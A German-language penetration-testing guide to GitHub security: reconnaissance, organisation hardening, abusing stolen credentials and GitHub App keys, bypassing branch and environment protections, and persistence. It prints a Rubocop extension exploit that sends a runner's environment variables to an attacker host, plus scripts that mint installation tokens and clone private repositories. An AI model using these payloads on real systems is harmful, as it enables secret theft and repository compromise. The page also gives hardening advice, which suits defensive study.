# Github-Sicherheit

{{#include ../../banners/hacktricks-training.md}}

## Was ist Github

(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Auf einer hohen Ebene ist **GitHub eine Website und ein cloudbasierter Dienst, der Entwicklern hilft, ihren Code zu speichern und zu verwalten sowie Änderungen an ihrem Code zu verfolgen und zu kontrollieren**.

### Grundlegende Informationen

{{#ref}}
basic-github-information.md
{{#endref}}

## Externe Rekognoszierung

Github-Repositories können als öffentlich, privat und intern konfiguriert werden.

- **Privat** bedeutet, dass **nur** Personen der **Organisation** darauf zugreifen können.
- **Intern** bedeutet, dass **nur** Personen des **Unternehmens** (ein Unternehmen kann mehrere Organisationen haben) darauf zugreifen können.
- **Öffentlich** bedeutet, dass **alle im Internet** darauf zugreifen können.

Falls Sie den **Benutzer, das Repo oder die Organisation, die Sie anvisieren möchten**, kennen, können Sie **github dorks** verwenden, um sensible Informationen zu finden oder nach **sensiblen Informationslecks** **in jedem Repo** zu suchen.

### Github Dorks

Github ermöglicht es, **nach etwas zu suchen, indem man als Bereich einen Benutzer, ein Repo oder eine Organisation angibt**. Daher können Sie mit einer Liste von Zeichenfolgen, die in der Nähe sensibler Informationen erscheinen, leicht **nach potenziell sensiblen Informationen in Ihrem Ziel suchen**.

Tools (jedes Tool enthält seine Liste von Dorks):

- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks-Liste](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks-Liste](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks-Liste](https://github.com/hisxo/gitGraber/tree/master/wordlists))

### Github-Leaks

Bitte beachten Sie, dass die Github-Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen).

Tools (jedes Tool enthält seine Liste von Regex):

Überprüfen Sie diese Seite: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**

> [!WARNING]
> Wenn Sie nach Leaks in einem Repo suchen und etwas wie `git log -p` ausführen, vergessen Sie nicht, dass es **andere Branches mit anderen Commits** geben könnte, die Geheimnisse enthalten!

### Externe Forks

Es ist möglich, **Repos zu kompromittieren, indem man Pull-Requests missbraucht**. Um zu wissen, ob ein Repo anfällig ist, müssen Sie hauptsächlich die Github Actions YAML-Konfigurationen lesen. [**Weitere Informationen dazu unten**](#execution-from-a-external-fork).

### Github-Leaks in gelöschten/internen Forks

Selbst wenn sie gelöscht oder intern sind, kann es möglich sein, sensible Daten aus Forks von Github-Repositories zu erhalten. Überprüfen Sie es hier:

{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}

## Organisation-Härtung

### Mitgliederprivilegien

Es gibt einige **Standardprivilegien**, die Mitgliedern der Organisation zugewiesen werden können. Diese können von der Seite `https://github.com/organizations/<org_name>/settings/member_privileges` oder von der [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) gesteuert werden.

- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen wird **None** oder **Read**.
- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Repositories der Organisation zu forken.
- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Seiten aus den Repos der Organisation zu veröffentlichen. Wenn notwendig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben.
- **Zugriffsanforderungen für Integrationen**: Mit dieser Aktivierung können externe Mitarbeiter Zugang zu GitHub oder OAuth-Apps anfordern, um auf diese Organisation und ihre Ressourcen zuzugreifen. Es ist normalerweise erforderlich, aber wenn nicht, ist es besser, es zu deaktivieren.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Änderung der Sichtbarkeit des Repositories**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie nicht möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Löschen und Übertragen von Repositories**: Wenn aktiviert, können Mitglieder mit **Admin**-Berechtigungen für das Repository **öffentliche und private Repositories löschen oder übertragen**.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Mitglieder erlauben, Teams zu erstellen**: Wenn aktiviert, kann jedes **Mitglied** der Organisation **neue Teams erstellen**. Wenn deaktiviert, können nur Organisationsinhaber neue Teams erstellen. Es ist besser, dies deaktiviert zu haben.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Weitere Dinge können** auf dieser Seite konfiguriert werden, aber die vorherigen sind die, die mehr mit Sicherheit zu tun haben.

### Aktionen-Einstellungen

Mehrere sicherheitsrelevante Einstellungen können für Aktionen von der Seite `https://github.com/organizations/<org_name>/settings/actions` konfiguriert werden.

> [!NOTE]
> Beachten Sie, dass all diese Konfigurationen auch für jedes Repository unabhängig festgelegt werden können.

- **Github-Aktionen-Richtlinien**: Es ermöglicht Ihnen anzugeben, welche Repositories Workflows ausführen können und welche Workflows erlaubt sein sollten. Es wird empfohlen, **anzugeben, welche Repositories** erlaubt sein sollten und nicht alle Aktionen auszuführen.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork-Pull-Request-Workflows von externen Mitarbeitern**: Es wird empfohlen, **eine Genehmigung für alle** externen Mitarbeiter zu verlangen.
- _Ich konnte keine API mit diesen Informationen finden, teilen Sie mit, wenn Sie es tun_
- **Workflows von Fork-Pull-Requests ausführen**: Es wird dringend **abgeraten, Workflows von Pull-Requests auszuführen**, da die Maintainer des Fork-Ursprungs die Möglichkeit erhalten, Tokens mit Lesezugriff auf das Quell-Repository zu verwenden.
- _Ich konnte keine API mit diesen Informationen finden, teilen Sie mit, wenn Sie es tun_
- **Workflow-Berechtigungen**: Es wird dringend empfohlen, **nur Lesezugriffsberechtigungen für Repositories zu gewähren**. Es wird abgeraten, Schreib- und Erstellungs-/Genehmigungsberechtigungen für Pull-Requests zu gewähren, um den Missbrauch des GITHUB_TOKEN zu vermeiden, das für die Ausführung von Workflows bereitgestellt wird.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)

### Integrationen

_Lassen Sie es mich wissen, wenn Sie den API-Endpunkt kennen, um auf diese Informationen zuzugreifen!_

- **Richtlinie für den Zugriff von Drittanbieteranwendungen**: Es wird empfohlen, den Zugriff auf jede Anwendung einzuschränken und nur die benötigten zuzulassen (nach Überprüfung).
- **Installierte GitHub-Apps**: Es wird empfohlen, nur die benötigten zuzulassen (nach Überprüfung).

## Rekognoszierung & Angriffe unter Ausnutzung von Anmeldeinformationen

Für dieses Szenario nehmen wir an, dass Sie Zugang zu einem Github-Konto erhalten haben.

### Mit Benutzeranmeldeinformationen

Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Unternehmens- und Organisationsrollen Sie haben**, ob Sie ein einfaches Mitglied sind, überprüfen, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie über welche **Repos** haben und **wie die Repos geschützt sind**.

Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie nur auf diese Informationen zugreifen können, wenn Sie auch **diesen Check bestehen**.

> [!NOTE]
> Beachten Sie, dass wenn Sie **es schaffen, das `user_session`-Cookie zu stehlen** (derzeit mit SameSite: Lax konfiguriert), können Sie **den Benutzer vollständig impersonieren**, ohne Anmeldeinformationen oder 2FA zu benötigen.

Überprüfen Sie den Abschnitt unten über [**Branch-Schutzumgehungen**](#branch-protection-bypass), falls es nützlich ist.

### Mit Benutzer-SSH-Schlüssel

Github erlaubt es **Benutzern**, **SSH-Schlüssel** festzulegen, die als **Authentifizierungsmethode zum Bereitstellen von Code** in ihrem Namen verwendet werden (es wird keine 2FA angewendet).

Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in denen der Benutzer einige Berechtigungen hat**, jedoch können Sie ihn nicht verwenden, um auf die Github-API zuzugreifen, um die Umgebung aufzulisten. Sie können jedoch **lokale Einstellungen auflisten**, um Informationen über die Repos und den Benutzer zu erhalten, auf die Sie Zugriff haben:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\<github_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der gefundene private Schlüssel verwendet werden kann.

**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.

#### GPG-Schlüssel

Wie [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) erklärt, ist es manchmal notwendig, die Commits zu signieren, oder Sie könnten entdeckt werden.

Überprüfen Sie lokal, ob der aktuelle Benutzer einen Schlüssel hat mit:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Mit Benutzer-Token

Für eine Einführung über [**Benutzer-Token überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#personal-access-tokens).

Ein Benutzer-Token kann **anstelle eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen.

Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`

### Mit Oauth-Anwendung

Für eine Einführung über [**Github Oauth-Anwendungen überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#oauth-applications).

Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.

Dies sind die [Scopes, die eine Oauth-Anwendung anfordern kann](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Man sollte immer die angeforderten Scopes überprüfen, bevor man sie akzeptiert.

Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern.

### Mit Github-Anwendung

Für eine Einführung über [**Github-Anwendungen überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#github-applications).

Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.

Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern.

#### Einen GitHub-App mit seinem privaten Schlüssel impersonifizieren (JWT → Installationszugriffstoken)

Wenn Sie den privaten Schlüssel (PEM) einer GitHub-App erhalten, können Sie die App vollständig über alle ihre Installationen hinweg impersonifizieren:

- Generieren Sie ein kurzlebiges JWT, das mit dem privaten Schlüssel signiert ist
- Rufen Sie die GitHub App REST API auf, um Installationen aufzulisten
- Minten Sie pro Installation Zugriffstoken und verwenden Sie diese, um auf Repositories zuzugreifen, die dieser Installation gewährt wurden

Anforderungen:
- GitHub App privater Schlüssel (PEM)
- GitHub App ID (numerisch). GitHub verlangt, dass iss die App-ID ist

JWT erstellen (RS256):
```python
#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Liste der Installationen für die authentifizierte App:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Erstellen Sie ein Installationszugriffstoken (gültig ≤ 10 Minuten):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Verwenden Sie das Token, um auf den Code zuzugreifen. Sie können mit der x‑access‑token-URL-Form klonen oder pushen:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmgesteuertes PoC, um eine bestimmte Organisation anzuvisieren und private Repos aufzulisten (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notizen:
- Installations-Token erben genau die Berechtigungen auf Repository-Ebene der App (zum Beispiel, contents: write, pull_requests: write)
- Tokens laufen in ≤10 Minuten ab, aber neue Tokens können unbegrenzt erstellt werden, solange der private Schlüssel behalten wird
- Sie können auch Installationen über die REST API (GET /app/installations) mit dem JWT auflisten

## Kompromittierung & Missbrauch von Github Action

Es gibt mehrere Techniken, um eine Github Action zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier:

{{#ref}}
abusing-github-actions/
{{#endref}}

## Missbrauch von Drittanbieter-GitHub-Apps, die externe Tools ausführen (Rubocop-Erweiterung RCE)

Einige GitHub-Apps und PR-Überprüfungsdienste führen externe Linter/SAST gegen Pull-Requests unter Verwendung von repository-kontrollierten Konfigurationsdateien aus. Wenn ein unterstütztes Tool das dynamische Laden von Code ermöglicht, kann ein PR RCE auf dem Runner des Dienstes erreichen.

Beispiel: Rubocop unterstützt das Laden von Erweiterungen aus seiner YAML-Konfiguration. Wenn der Dienst eine vom Repo bereitgestellte .rubocop.yml durchlässt, können Sie beliebigen Ruby-Code ausführen, indem Sie eine lokale Datei anfordern.

- Auslösebedingungen umfassen normalerweise:
- Das Tool ist im Dienst aktiviert
- Der PR enthält Dateien, die das Tool erkennt (für Rubocop: .rb)
- Das Repo enthält die Konfigurationsdatei des Tools (Rubocop sucht überall nach .rubocop.yml)

Exploit-Dateien im PR:

.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (Exfiltriere Runner-Umgebungsvariablen):
```ruby
require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Auch eine ausreichend große Dummy-Ruby-Datei (z. B. main.rb) einfügen, damit der Linter tatsächlich ausgeführt wird.

Auswirkungen, die in der Wildnis beobachtet wurden:
- Vollständige Codeausführung auf dem Produktions-Runner, der den Linter ausgeführt hat
- Exfiltration sensibler Umgebungsvariablen, einschließlich des privaten Schlüssels der GitHub-App, die von dem Dienst verwendet wird, API-Schlüssel, DB-Anmeldeinformationen usw.
- Mit einem geleakten privaten Schlüssel der GitHub-App können Sie Installations-Token erstellen und Lese-/Schreibzugriff auf alle Repositories erhalten, die dieser App gewährt wurden (siehe den obigen Abschnitt zur Identitätsanpassung von GitHub-Apps)

Härtungsrichtlinien für Dienste, die externe Tools ausführen:
- Behandeln Sie von Repositories bereitgestellte Tool-Konfigurationen als nicht vertrauenswürdigen Code
- Führen Sie Tools in stark isolierten Sandboxes aus, in denen keine sensiblen Umgebungsvariablen gemountet sind
- Wenden Sie Berechtigungen mit minimalen Rechten und Dateisystemisolierung an und beschränken/verbieten Sie ausgehenden Netzwerkverkehr für Tools, die keinen Internetzugang benötigen

## Umgehung des Branchenschutzes

- **Erfordern Sie eine Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem aus Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github Action**-Umgebung im Repository haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten.
- _Hinweis für dies und für die Einschränkung der Code-Eigentümer, dass normalerweise ein Benutzer seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._
- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht festgelegt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und in den geschützten Branch zusammenführen.
- **Erfordern Sie Überprüfungen von Code-Eigentümern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github Action erstellen, die Ihre PR erstellt und dann selbst genehmigt**.
- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber sie wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.**
- **Erlauben Sie bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Schutzmaßnahmen für Pull-Requests umgehen.
- **Administratoren einbeziehen**: Wenn dies nicht festgelegt ist und Sie Administrator des Repos sind, können Sie diesen Branchenschutz umgehen.
- **PR-Hijacking**: Sie könnten in der Lage sein, die **PR eines anderen zu ändern**, bösartigen Code hinzuzufügen, die resultierende PR selbst zu genehmigen und alles zusammenzuführen.
- **Entfernen von Branchenschutzmaßnahmen**: Wenn Sie ein **Administrator des Repos sind, können Sie die Schutzmaßnahmen deaktivieren**, Ihre PR zusammenführen und die Schutzmaßnahmen wieder aktivieren.
- **Umgehung von Push-Schutzmaßnahmen**: Wenn ein Repo **nur bestimmten Benutzern** erlaubt, Push (Code zusammenzuführen) in Branches zu senden (der Branchenschutz könnte alle Branches schützen, indem das Wildcard `*` angegeben wird).
- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branchenschutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github Action erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branchschutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github Action ausführen**.

## Umgehung des Umweltschutzes

Für eine Einführung über [**Github Environment überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#git-environments).

Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie möglicherweise Repos finden, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird); in diesem Szenario **finden Sie einen Branch, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github Action erstellen (oder eine vorhandene ändern).

Beachten Sie, dass Sie möglicherweise den Grenzfall finden, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird festgelegt, **wer Code in die Branches pushen kann** (_Sie können das im Branchschutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github Action ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branchschutz erlaubt den Push in einen neuen Branch, sodass die Github Action ausgelöst wird**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf den neuen Branch angewendet wird** und Sie ihn nicht mehr ändern können, aber zu diesem Zeitpunkt haben Sie bereits die Geheimnisse extrahiert.

## Persistenz

- Generieren Sie **Benutzertoken**
- Stehlen Sie **Github-Tokens** aus **Geheimnissen**
- **Löschen** von Workflow-**Ergebnissen** und **Branches**
- Gewähren Sie **mehr Berechtigungen für die gesamte Organisation**
- Erstellen Sie **Webhooks**, um Informationen zu exfiltrieren
- Laden Sie **außenstehende Mitarbeiter** ein
- **Entfernen** Sie **Webhooks**, die vom **SIEM** verwendet werden
- Erstellen/Ändern Sie **Github Action** mit einem **Hintertür**
- Finden Sie **anfällige Github Action für Befehlsinjektion** durch **Änderung** des **Geheimwerts**

### Imposter Commits - Hintertür über Repo-Commits

In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem scheinbar legitimen Repo, das nicht vom Eigentümer des Repos erstellt wurde, verwenden**.

Wie [**dies**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
Für weitere Informationen siehe [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)

## Referenzen

- [Wie wir CodeRabbit ausgenutzt haben: von einem einfachen PR zu RCE und Schreibzugriff auf 1M Repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop-Erweiterungen (erforderlich)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authentifizierung mit einer GitHub-App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Installationen für die authentifizierte App auflisten](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Ein Installationszugriffstoken für eine App erstellen](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)

{{#include ../../banners/hacktricks-training.md}}